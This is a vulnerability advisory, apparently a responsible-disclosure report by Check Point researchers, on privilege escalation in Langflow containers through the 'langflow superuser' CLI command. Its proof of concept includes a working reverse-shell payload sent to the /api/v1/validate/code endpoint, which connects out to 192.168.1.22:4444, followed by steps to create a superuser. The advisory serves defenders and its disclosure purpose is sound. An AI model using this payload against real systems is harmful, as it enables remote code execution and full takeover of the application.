PYSEC-2026-1526

This vulnerability was discovered by researchers at Check Point. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.

Summary

A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command langflow superuser to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.

Details

Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:

langflow superuser

This command allows creation of a new superuser without checking whether one already exists.

When combined with code execution (e.g., via the authenticated /api/v1/validate/code endpoint), a low-privileged user can execute:

/app/.venv/bin/langflow superuser

inside the container, and elevate themselves to full superuser privileges.

This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.

PoC

1. Start container with LANGFLOW_ENABLE_AUTH set to True.
2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)

<img width="1311" height="627" alt="image" src="https://github.com/user-attachments/assets/9b75bdc3-31ea-48c0-9e84-c2b168f404b3" />

3. Exploit /api/v1/validate/code to get reverse shell

Send an authenticated POST request:

{
  "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n    pass"
}

4. Inside reverse shell, create superuser:

<img width="731" height="217" alt="image" src="https://github.com/user-attachments/assets/cb8497c6-0d61-414e-afe2-69bbbaf55cbc" />

5. Log into UI as new superuser:

<img width="1262" height="532" alt="image"...